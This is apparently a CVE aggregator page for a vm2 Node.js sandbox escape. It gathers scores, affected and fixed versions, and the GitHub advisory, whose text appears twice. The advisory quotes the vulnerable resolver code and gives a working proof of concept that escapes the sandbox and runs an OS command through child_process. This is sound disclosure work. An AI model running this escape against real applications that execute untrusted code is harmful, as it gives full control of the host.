CVE-2026-44007
vm2: nesting: true bypasses require: false, allowing sandbox escape to arbitrary OS command execution
vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.1, when a NodeVM is created with nesting: true, sandbox code can unconditionally require('vm2') regardless of the outer VM's require configuration — including require: false. With access to vm2, the sandbox constructs a new inner NodeVM with its own unrestricted require settings and executes arbitrary OS commands on the host. Any application that runs untrusted code inside a NodeVM with nesting: true is fully compromised. This vulnerability is fixed in 3.11.1.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- High
- User interaction
- None
What an attacker can affect
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Exploit likelihood
What each source reports
CVE List Score used
9.1
vm2: nesting: true bypasses require: false, allowing sandbox escape to arbitrary OS command execution
vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.1, when a NodeVM is created with nesting: true, sandbox code can unconditionally require('vm2') regardless of the outer VM's require configuration — including require: false. With access to vm2, the sandbox constructs a new inner NodeVM with its own unrestricted require settings and executes arbitrary OS commands on the host. Any application that runs untrusted code inside a NodeVM with nesting: true is fully compromised. This vulnerability is fixed in 3.11.1.
- Record
CVE-2026-44007- CVSS 3.1
- 9.1 Critical
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H - CVSS 3.1
- 9.9 Critical
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H - Weakness
- CWE-284, CWE-1100
- Updated
- 2026-11-04
EUVDEUVD-2026-30077
9.9
vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.1, when a NodeVM is created with nesting: true, sandbox code can unconditionally require('vm2') regardless of the outer VM's require configuration — including require: false. With access to vm2, the sandbox constructs a new inner NodeVM with its own unrestricted require settings and executes arbitrary OS commands on the host. Any application that runs untrusted code inside a NodeVM with nesting: true is fully compromised. This vulnerability is fixed in 3.11.1.
- Record
EUVD-2026-30077- CVSS 3.1
- 9.9 Critical
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H - Updated
- 2026-11-04
GitHub AdvisoriesGHSA-8hg8-63c5-gwmx
9.1
vm2 NodeVM `nesting: true` bypasses `require: false` allowing sandbox escape and arbitrary OS command execution
Summary
When a NodeVM is created with nesting: true, sandbox code can unconditionally require('vm2') regardless of the outer VM's require configuration — including require: false. With access to vm2, the sandbox constructs a new inner NodeVM with its own unrestricted require settings and executes arbitrary OS commands on the host. Any application that runs untrusted code inside a NodeVM with nesting: true is fully compromised.
Details
The vulnerability is in how the nesting: true option interacts with the legacy module resolver.
lib/nodevm.js:96-99 — NESTING_OVERRIDE is a special builtin map that injects the vm2 package into the sandbox:
const NESTING_OVERRIDE = Object.freeze({
__proto__: null,
vm2: vm2NestingLoader
});
lib/nodevm.js:268-269 — When nesting: true, this override is passed into the resolver factory alongside the host's require options:
const customResolver = requireOpts instanceof Resolver;
const resolver = customResolver ? requireOpts : makeResolverFromLegacyOptions(
requireOpts,
nesting && NESTING_OVERRIDE, // ← injected when nesting:true
this._compiler
);
lib/resolver-compat.js:193-197 — This is the vulnerable branch. When require: false is set, requireOpts is falsy, so !options is true. Without nesting the function returns DENY_RESOLVER (block everything). With nesting, it instead builds a resolver that includes vm2 from NESTING_OVERRIDE:
function makeResolverFromLegacyOptions(options, override, compiler) {
if (!options) {
if (!override) return DENY_RESOLVER; // require:false, no nesting → deny all
// BUG: require:false + nesting:true reaches here
// override (NESTING_OVERRIDE) is applied, making vm2 available
const builtins = makeBuiltinsFromLegacyOptions(undefined, defaultRequire, undefined, override);
return new Resolver(DEFAULT_FS, [], builtins); // vm2 is now requireable
}
// ...
}
lib/builtin.js:102-106 — NESTING_OVERRIDE is merged unconditionally into builtins, overriding any user-configured allowlist:
if (overrides) {
const keys = Object.getOwnPropertyNames(overrides);
for (const key of keys) {
res.set(key, overrides[key]); // vm2 always injected when nesting:true
}
}
The result: require('vm2') always succeeds inside a NodeVM with nesting: true, regardless of require: false, require: { builtin: [] }, or any other restriction. Once the sandbox has vm2, it creates a new inner NodeVM with whatever require config it chooses — unconstrained by the outer VM — and reaches child_process.
This was introduced in commit 2353ce60 (Feb 8, 2022) and survived a major refactor in commit 9e2b6051 (Apr 8, 2023). The JSDoc for nesting does warn that "scripts can create a NodeVM which can require any host module," but does not document that nesting: true silently defeats require: false, which is the non-obvious part of this interaction.
PoC
Requirements: vm2 installed, Node.js v22.22.1 (also reproduced on earlier versions).
const { NodeVM } = require('vm2');
// Host intends: nesting enabled, but require completely disabled
const vm = new NodeVM({ nesting: true, require: false });
const result = vm.run(`
// Step 1: require('vm2') succeeds despite require:false on the outer VM
const { NodeVM: NVM } = require('vm2');
// Step 2: create an inner NodeVM with attacker-chosen require config
// This inner VM has no relation to the outer VM's restrictions
const inner = new NVM({ require: { builtin: ['child_process'] } });
// Step 3: execute arbitrary OS command in the inner VM
module.exports = inner.run(
'module.exports = require("child_process").execSync("id").toString()'
);
`);
console.log(result);
// uid=1000(akshat) gid=1000(akshat) groups=1000(akshat),4(adm),...
Observed output (confirmed on Node v22.22.1, vm2 commit 8dd0591):
uid=1000(akshat)…
- Record
GHSA-8hg8-63c5-gwmx- CVSS 3.1
- 9.1 Critical
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H - Weakness
- CWE-284, CWE-693, CWE-1100
- Updated
- 2026-11-04
NVD
9.1
vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.1, when a NodeVM is created with nesting: true, sandbox code can unconditionally require('vm2') regardless of the outer VM's require configuration — including require: false. With access to vm2, the sandbox constructs a new inner NodeVM with its own unrestricted require settings and executes arbitrary OS commands on the host. Any application that runs untrusted code inside a NodeVM with nesting: true is fully compromised. This vulnerability is fixed in 3.11.1.
- Record
CVE-2026-44007- CVSS 3.1
- 9.1 Critical
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H - CVSS 3.1
- 9.9 Critical
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H - Weakness
- CWE-284, CWE-1100
- Updated
- 2026-11-04
OSV
9.1
vm2: nesting: true bypasses require: false, allowing sandbox escape to arbitrary OS command execution
vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.1, when a NodeVM is created with nesting: true, sandbox code can unconditionally require('vm2') regardless of the outer VM's require configuration — including require: false. With access to vm2, the sandbox constructs a new inner NodeVM with its own unrestricted require settings and executes arbitrary OS commands on the host. Any application that runs untrusted code inside a NodeVM with nesting: true is fully compromised. This vulnerability is fixed in 3.11.1.
- Record
CVE-2026-44007- CVSS 3.1
- 9.1 Critical
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H - Weakness
- CWE-284
- Updated
- 2026-11-05
OSVGHSA-8hg8-63c5-gwmx
9.1
vm2 NodeVM `nesting: true` bypasses `require: false` allowing sandbox escape and arbitrary OS command execution
Summary
When a NodeVM is created with nesting: true, sandbox code can unconditionally require('vm2') regardless of the outer VM's require configuration — including require: false. With access to vm2, the sandbox constructs a new inner NodeVM with its own unrestricted require settings and executes arbitrary OS commands on the host. Any application that runs untrusted code inside a NodeVM with nesting: true is fully compromised.
Details
The vulnerability is in how the nesting: true option interacts with the legacy module resolver.
lib/nodevm.js:96-99 — NESTING_OVERRIDE is a special builtin map that injects the vm2 package into the sandbox:
const NESTING_OVERRIDE = Object.freeze({
__proto__: null,
vm2: vm2NestingLoader
});
lib/nodevm.js:268-269 — When nesting: true, this override is passed into the resolver factory alongside the host's require options:
const customResolver = requireOpts instanceof Resolver;
const resolver = customResolver ? requireOpts : makeResolverFromLegacyOptions(
requireOpts,
nesting && NESTING_OVERRIDE, // ← injected when nesting:true
this._compiler
);
lib/resolver-compat.js:193-197 — This is the vulnerable branch. When require: false is set, requireOpts is falsy, so !options is true. Without nesting the function returns DENY_RESOLVER (block everything). With nesting, it instead builds a resolver that includes vm2 from NESTING_OVERRIDE:
function makeResolverFromLegacyOptions(options, override, compiler) {
if (!options) {
if (!override) return DENY_RESOLVER; // require:false, no nesting → deny all
// BUG: require:false + nesting:true reaches here
// override (NESTING_OVERRIDE) is applied, making vm2 available
const builtins = makeBuiltinsFromLegacyOptions(undefined, defaultRequire, undefined, override);
return new Resolver(DEFAULT_FS, [], builtins); // vm2 is now requireable
}
// ...
}
lib/builtin.js:102-106 — NESTING_OVERRIDE is merged unconditionally into builtins, overriding any user-configured allowlist:
if (overrides) {
const keys = Object.getOwnPropertyNames(overrides);
for (const key of keys) {
res.set(key, overrides[key]); // vm2 always injected when nesting:true
}
}
The result: require('vm2') always succeeds inside a NodeVM with nesting: true, regardless of require: false, require: { builtin: [] }, or any other restriction. Once the sandbox has vm2, it creates a new inner NodeVM with whatever require config it chooses — unconstrained by the outer VM — and reaches child_process.
This was introduced in commit 2353ce60 (Feb 8, 2022) and survived a major refactor in commit 9e2b6051 (Apr 8, 2023). The JSDoc for nesting does warn that "scripts can create a NodeVM which can require any host module," but does not document that nesting: true silently defeats require: false, which is the non-obvious part of this interaction.
PoC
Requirements: vm2 installed, Node.js v22.22.1 (also reproduced on earlier versions).
const { NodeVM } = require('vm2');
// Host intends: nesting enabled, but require completely disabled
const vm = new NodeVM({ nesting: true, require: false });
const result = vm.run(`
// Step 1: require('vm2') succeeds despite require:false on the outer VM
const { NodeVM: NVM } = require('vm2');
// Step 2: create an inner NodeVM with attacker-chosen require config
// This inner VM has no relation to the outer VM's restrictions
const inner = new NVM({ require: { builtin: ['child_process'] } });
// Step 3: execute arbitrary OS command in the inner VM
module.exports = inner.run(
'module.exports = require("child_process").execSync("id").toString()'
);
`);
console.log(result);
// uid=1000(akshat) gid=1000(akshat) groups=1000(akshat),4(adm),...
Observed output (confirmed on Node v22.22.1, vm2 commit 8dd0591):
uid=1000(akshat)…
- Record
GHSA-8hg8-63c5-gwmx- CVSS 3.1
- 9.1 Critical
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H - Weakness
- CWE-1100, CWE-284, CWE-693
- Updated
- 2026-11-04
OSVROOT-APP-NPM-CVE-2026-44007
9.1
CVE-2026-44007 in vm2 - Patched by Root
Root has patched CVE-2026-44007 in the vm2 package for Root:npm. Multiple fixed versions available.
- Record
ROOT-APP-NPM-CVE-2026-44007- CVSS 3.1
- 9.1 Critical
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H - Updated
- 2026-11-02
OSVCLSA-2026-1787860907 No score
TuxCare security update for vm2 (34 CVEs)
TuxCare rebuilt vm2 to address 34 CVEs. Fixed in 3.10.0-tuxcare.1.
- Record
CLSA-2026-1787860907- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
vm2npm |
through 3.11.0 | 3.11.1 |
vm2TuxCare:npm From an advisory covering 30 CVEs |
3.10.0-tuxcare.0 up to 3.10.0-tuxcare.1, plus listed versions 3.10.0 |
3.10.0-tuxcare.1 |
vm2npm |
before 3.11.1 | 3.11.1 |
vm2Root:npm |
before 3.9.17-aikido.11 | 3.9.17-aikido.113.9.17-aikido.123.10.5-aikido.63.9.17-aikido.133.9.17-aikido.73.9.17-aikido.83.9.17-aikido.93.9.17-aikido.103.10.5-aikido.73.9.7-aikido.53.9.7-aikido.63.10.5-aikido.8 |
@rootio/vm2Root:npm |
before 3.10.5-root.io.2 | 3.10.5-root.io.23.10.5-root.io.33.10.5-root.io.43.10.5-root.io.53.9.17-root.io.113.9.17-root.io.123.10.5-root.io.63.9.17-root.io.133.9.17-root.io.73.9.17-root.io.83.9.17-root.io.93.9.17-root.io.103.10.5-root.io.73.9.7-root.io.53.9.7-root.io.63.10.5-root.io.8 |
History
| Recorded | Changed | Sources |
|---|---|---|
| affected | ||
| references | EUVD, NVD, OSV | |
| references | CVE List | |
| references | OSV | |
| facts, references | GitHub Advisories | |
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-44007 is a critical vulnerability (CVSS 9.1) in Patriksimek Vm2, published May 7, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 1.00%, the 63rd percentile. Fixed in vm2 3.11.1.
References
github.com/patriksimek/vm2/security/advisories/GHSA-8hg8-63c5-gwmx
github.com/patriksimek/vm2/commit/46cbbdde4e19b743974c942278080231004146ca
access.redhat.com/errata/RHSA-2026:50850
access.redhat.com/security/cve/CVE-2026-44007
bugzilla.redhat.com/show_bug.cgi?id=2477198
github.com/patriksimek/vm2/releases/tag/v3.11.1
Show 6 moreShow less
Left out here: the rest of 2 source descriptions. The JSON record has them.